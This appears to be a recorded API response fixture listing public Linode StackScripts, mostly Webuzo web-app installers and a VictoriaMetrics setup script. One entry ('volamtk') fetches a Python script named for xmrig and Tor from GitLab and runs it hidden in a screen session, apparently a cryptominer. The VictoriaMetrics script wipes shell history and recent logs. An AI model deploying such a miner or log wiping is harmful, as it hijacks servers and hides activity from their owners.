\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9252, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Pebble
powered by Webuzo", "description": "Pebble is a lightweight, open source, Java
EE blogging tool. It''s small, fast and feature-rich with unrivalled ease of
installation and use.\r\n\r\nBlog content is stored as XML files on disk and
served up dynamically, so there''s no need to install a database. All maintenance
and administration can be performed through your web browser, making Pebble
ideal for anybody who is constantly on the move or doesn''t have direct access
to their host. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps
users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache,
NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou
can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to
Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Pebble
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Pebble powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Pebble and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Pebble :\n# Pebble
is a lightweight, open source, Java EE blogging tool.\n# It''s small, fast
and feature-rich with unrivalled ease of installation and use.\n###########################################################################################################\n\n#
Install Pebble Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=429&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Pebble and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Pebble has been successfully installed\"\necho \" \"\necho
\"You can now configure Pebble and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 355877, "username":
"evin2", "user_gravatar_id": "9db591667a2b7decad610db319c613bc", "label": "Epasqualetti",
"description": "Test to call stackscript with label", "ordinal": 0, "logo_url":
"", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n\n#
It works!", "user_defined_fields": []}, {"id": 1094693, "username": "santiachinelli",
"user_gravatar_id": "5a5ea404116429697319f684006d6b93", "label": "loltest-public",
"description": "loltest-public", "ordinal": 0, "logo_url": "", "images": ["any/all"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"created, public version", "script": "#!/bin/bash\n# <UDF name=\"hostname\"
label=\"Hostname\" />\nsource <ssinclude StackScriptID=\"1\">\nsystem_set_hostname
\"$HOSTNAME\"\nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\napt update
&& apt upgrade -y && apt install -y curl wget net-tools traceroute jq\n# Generate
files\nmkdir -p /etc/victoriametrics/single\nmkdir -p /var/lib/victoria-metrics-data\nmkdir
-p /var/lib/cloud/scripts/per-instance\n# Create victoriametrics user\ngroupadd
-r victoriametrics\nuseradd -g victoriametrics -d /var/lib/victoria-metrics-data
-s /sbin/nologin --system victoriametrics\nchown -R victoriametrics:victoriametrics
/var/lib/victoria-metrics-data\n# Install VictoriaMetrics Single\nVM_VERSION=`curl
-sg \"https://api.github.com/repos/VictoriaMetrics/VictoriaMetrics/tags\" |
jq -r ''.[0].name''`\nwget https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/${VM_VERSION}/victoria-metrics-linux-amd64-${VM_VERSION}.tar.gz -O
/tmp/victoria-metrics.tar.gz\ntar xvf /tmp/victoria-metrics.tar.gz -C /usr/bin\nchmod
+x /usr/bin/victoria-metrics-prod\nchown root:root /usr/bin/victoria-metrics-prod\ntouch
/etc/victoriametrics/single/scrape.yml\nchown root:root /etc/victoriametrics/single/scrape.yml\ncat
<<END >/etc/systemd/system/vmsingle.service\n[Unit]\nDescription=VictoriaMetrics
is a fast, cost-effective and scalable monitoring solution and time series database.\n#
https://docs.victoriametrics.com\nAfter=network.target\n[Service]\nType=simple\nUser=victoriametrics\nGroup=victoriametrics\nWorkingDirectory=/var/lib/victoria-metrics-data\nStartLimitBurst=5\nStartLimitInterval=0\nRestart=on-failure\nRestartSec=5\nEnvironmentFile=-/etc/victoriametrics/single/victoriametrics.conf\nExecStart=/usr/bin/victoria-metrics-prod
\\$ARGS\nExecStop=/bin/kill -s SIGTERM \\$MAINPID\nExecReload=/bin/kill -HUP
\\$MAINPID\n# See docs https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#tuning\nProtectSystem=full\nLimitNOFILE=1048576\nLimitNPROC=1048576\nLimitCORE=infinity\nStandardOutput=syslog\nStandardError=syslog\nSyslogIdentifier=vmsingle\n[Install]\nWantedBy=multi-user.target\nEND\ncat
<<END >/etc/victoriametrics/single/victoriametrics.conf\n# See https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#list-of-command-line-flags
to get more information about supported command-line flags\n# \n# If you use
IPv6 pleas add \"-enableTCP6\" to args line\nARGS=\"-promscrape.config=/etc/victoriametrics/single/scrape.yml
-storageDataPath=/var/lib/victoria-metrics-data -retentionPeriod=12 -httpListenAddr=:8428
-graphiteListenAddr=:2003 -opentsdbListenAddr=:4242 -influxListenAddr=:8089
-enableTCP6\"\nEND\ncat <<END </etc/victoriametrics/single/scrape.yml\n# Scrape
config example\n#\nscrape_configs:\n - job_name: self_scrape\n scrape_interval:
10s\n static_configs:\n - targets: [''127.0.0.1:8428''] \nEND\ncat <<END
> /etc/profile.d/victoriametrics_welcome.sh\n#!/bin/sh\n#\nmyip=$(hostname -I
| awk ''{print$1}'')\n********************************************************************************
\nWelcome to VictoriaMetrics Single.\nTo keep this server secure, the UFW firewall
is enabled.\nAll ports are BLOCKED except 22 (SSH), 80 (HTTP), and 443 (HTTPS),
8428 (VictoriaMetrics HTTP), 8089 (VictoriaMetrics Influx),\n4242 (VictoriaMetrics
OpenTSDB), 2003 (VictoriaMetrics Graphite)\nIn a web browser, you can view:\n
* The VictoriaMetrics Quickstart guide: https://kutt.it/1click-quickstart\nOn
the server:\n * The default VictoriaMetrics root is located at /var/lib/victoria-metrics-data\n *
VictoriaMetrics is running on ports: 8428, 8089, 4242, 2003 and they are bound
to the local interface.\n********************************************************************************\n #
This image includes version v1.74.0 of VictoriaMetrics. \n # See Release notes
https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.70.0\n #
Welcome to VictoriaMetrics droplet!\n # Website: https://victoriametrics.com\n #
Documentation: https://docs.victoriametrics.com\n # VictoriaMetrics Github
: https://github.com/VictoriaMetrics/VictoriaMetrics\n # VictoriaMetrics Slack
Community: https://slack.victoriametrics.com\n # VictoriaMetrics Telegram Community:
https://t.me/VictoriaMetrics_en\n # VictoriaMetrics config: /etc/victoriametrics/single/victoriametrics.conf\n #
VictoriaMetrics scrape config: /etc/victoriametrics/single/scrape.yml\n #
VictoriaMetrics UI accessable on: http://your_droplet_public_ipv4:8428/vmui/\nEND\n#
Enable UFW and add some rules to it\nsed -e ''s|DEFAULT_FORWARD_POLICY=.*|DEFAULT_FORWARD_POLICY=\"ACCEPT\"|g''
\\\n -i /etc/default/ufw\nufw allow ssh comment \"SSH port\"\nufw allow http
comment \"HTTP port\"\nufw allow https comment \"HTTPS port\"\nufw allow 8428
comment \"VictoriaMetrics Single HTTP port\"\nufw allow 8089/tcp comment \"TCP
Influx Listen port for VictoriaMetrics\"\nufw allow 8089/udp comment \"UDP Influx
Listen port for VictoriaMetrics\"\nufw allow 2003/tcp comment \"TCP Graphite
Listen port for VictoriaMetrics\"\nufw allow 2003/udp comment \"UDP Graphite
Listen port for VictoriaMetrics\"\nufw allow 4242 comment \"OpenTSDB Listen
port for VictoriaMetrics\"\nufw --force enable\n# Cleaning up\nrm -rf /tmp/*
/var/tmp/*\nhistory -c\ncat /dev/null > /root/.bash_history\nunset HISTFILE\nfind
/var/log -mtime -1 -type f ! -name ''stackscript.log'' -exec truncate -s 0 {}
\\;\n# Start VictoriaMetrics\nsystemctl enable vmsingle.service\nsystemctl start
vmsingle.service\necho \"Installation complete!\"", "user_defined_fields": [{"name":
"hostname", "label": "Hostname"}]}, {"id": 9254, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "Apache Roller powered by Webuzo",
"description": "Apache Roller is a full-featured, multi-user and group-blog
server suitable for blog sites large and small.\r\n\r\nApache Roller is a Java
web application that should be able to run on any Java EE server and relational
database. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users
deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX,
PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou
can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to
Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Apache
Roller and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Apache Roller powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Apache Roller and Softaculous Webuzo\n# Description -\n# About Webuzo
:\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps
(WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java,
MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Apache
Roller :\n# Apache Roller is a full-featured, multi-user and group-blog server
suitable for blog sites large and small.\n# Apache Roller is a Java web application
that should be able to run on any Java EE server and relational database. \n###########################################################################################################\n\n#
Install Apache Roller Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=484&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Apache Roller and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Apache Roller has been successfully installed\"\necho \"
\"\necho \"You can now configure Apache Roller and Softaculous Webuzo at the
following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for
choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id":
8231, "username": "shakilaid1", "user_gravatar_id": "92c44b5a4f7186e4a6f2320505505b0c",
"label": "ererer", "description": "errer", "ordinal": 0, "logo_url": "", "images":
["linode/debian7.4"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields":
[]}, {"id": 9255, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "WordPress + Nginx powered by Webuzo", "description": "WordPress is
a state-of-the-art publishing platform with a focus on aesthetics, web standards,
and usability. WordPress is both free and priceless at the same time.\r\n\r\nMore
simply, WordPress is what you use when you want to work with your blogging software,
not fight it. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which
helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps
(Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the
cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure WordPress
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"WordPress + Nginx powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install WordPress + Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo
:\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps
(WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java,
MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WordPress
:\n# WordPress is a state-of-the-art publishing platform with a focus on aesthetics,
web standards, and usability.\n# WordPress is both free and priceless at the
same time.\n# More simply, WordPress is what you use when you want to work
with your blogging software, not fight it.\n###########################################################################################################\n\n#
Install WordPress Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=26&license=$1\"\n \n}\n\n# Install
Nginx Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh --install=nginx,mysql,php53,perl,python2,pureftpd,bind
>> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755
install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh
>> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh
>> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
WordPress + NGINX and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, WordPress has been successfully installed\"\necho \" \"\necho
\"You can now configure WordPress and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 102439, "username":
"poohflya", "user_gravatar_id": "bf99d31a5d9641a61079b25a4c1f5757", "label":
"DAM", "description": "DAM", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu17.04"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id":
9001, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Concrete5 powered by Webuzo", "description": "Concrete5 makes running
a website easy. Go to any page in your site, and a editing toolbar gives you
all the controls you need to update your website. No intimidating manuals, no
complicated administration interfaces - just point and click.\r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Concrete5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Concrete5 powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Concrete5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Concrete5 :\n# Concrete5
makes running a website easy. Go to any page in your site, and a editing toolbar
gives you \n# all the controls you need to update your website. No intimidating
manuals, no complicated \n# administration interfaces - just point and click.\n###########################################################################################################\n\n#
Install Concrete5 Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=174&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Concrete5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Concrete5 has been successfully installed\"\necho \" \"\necho
\"You can now configure Concrete5 and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 788010, "username":
"EugeneFrank", "user_gravatar_id": "2861cc9c5bd8d573606b159f00ee7e53", "label":
"a5455", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 1359658, "username":
"JubairHossin", "user_gravatar_id": "b8ac62ba3ef1b71bd87049378ee068dc", "label":
"Alpine OS", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.16",
"linode/alpine3.17", "linode/alpine3.18", "linode/alpine3.19"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields":
[]}, {"id": 9003, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Oxwall powered by Webuzo", "description": "Oxwall is unbelievably
flexible and easy to use PHP/MySQL community software platform.\r\n\r\nOxwall
is used for a wide range of projects starting from family sites and custom social
networks to collaboration tools and enterprise community solutions. \r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Oxwall and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Oxwall powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Oxwall and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Oxwall :\n# Oxwall
is unbelievably flexible and easy to use PHP/MySQL community software platform.\n###########################################################################################################\n\n#
Install Oxwall Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=258&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Oxwall and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Oxwall has been successfully installed\"\necho \" \"\necho
\"You can now configure Oxwall and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 670763, "username":
"ChristopherMitchellgnfi", "user_gravatar_id": "57669f55c07796f7f563de0d5ec9da70",
"label": "volamtk", "description": "volamtk", "ordinal": 0, "logo_url": "",
"images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/sh\nsleep 60\nsudo
su root\napt-get install -y python\nwget https://gitlab.com/maihuuhanh1846/test/-/raw/master/daoxmrig_ubuntu_tor_docker_442.py
-O /etc/dao.py\nchmod 777 /etc/dao.py\nscreen -dm python /etc/dao.py\n\n", "user_defined_fields":
[]}, {"id": 6188, "username": "ma88123456", "user_gravatar_id": "2e365c39a7fd833d229a95d24c8c525d",
"label": "000", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash''", "user_defined_fields": []}, {"id":
9004, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "qdPM powered by Webuzo", "description": "qdPM is a free web-based
project management tool suitable for a small team working on multiple projects.\r\n\r\nIt
is fully configurable. You can easy manage Projects, Tasks and People.\r\n\r\nCustomers
interact using a Ticket System that is integrated into Task management. \r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
qdPM and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"qdPM powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install qdPM and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About qdPM :\n# qdPM
is a free web-based project management tool suitable for a small team working
on multiple projects.\n###########################################################################################################\n\n#
Install qdPM Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=428&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
qdPM and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, qdPM has been successfully installed\"\necho \" \"\necho
\"You can now configure qdPM and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}], "page": 1, "pages": 26,
"results": 2527}'
headers:
Access-Control-Allow-Credentials:
- "true"
Access-Control-Allow-Headers:
- Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter
Access-Control-Allow-Methods:
- HEAD, GET, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin:
- '*'
Access-Control-Expose-Headers:
- X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status
Akamai-Internal-Account:
- '*'
Cache-Control:
- max-age=0, no-cache, no-store
Connection:
- keep-alive
- Transfer-Encoding
Content-Security-Policy:
- default-src 'none'
Content-Type:
- application/json
Expires:
- Thu, 11 Jul 2024 18:39:07 GMT
Pragma:
- no-cache
Strict-Transport-Security:
- max-age=31536000
Vary:
- Authorization, X-Filter
- Authorization, X-Filter
- Accept-Encoding
X-Accepted-Oauth-Scopes:
- stackscripts:read_only
X-Content-Type-Options:
- nosniff
X-Frame-Options:
- DENY
- DENY
X-Oauth-Scopes:
- '*'
X-Ratelimit-Limit:
- "20"
X-Xss-Protection:
- 1; mode=block
status: 200 OK
code: 200
duration: ""
|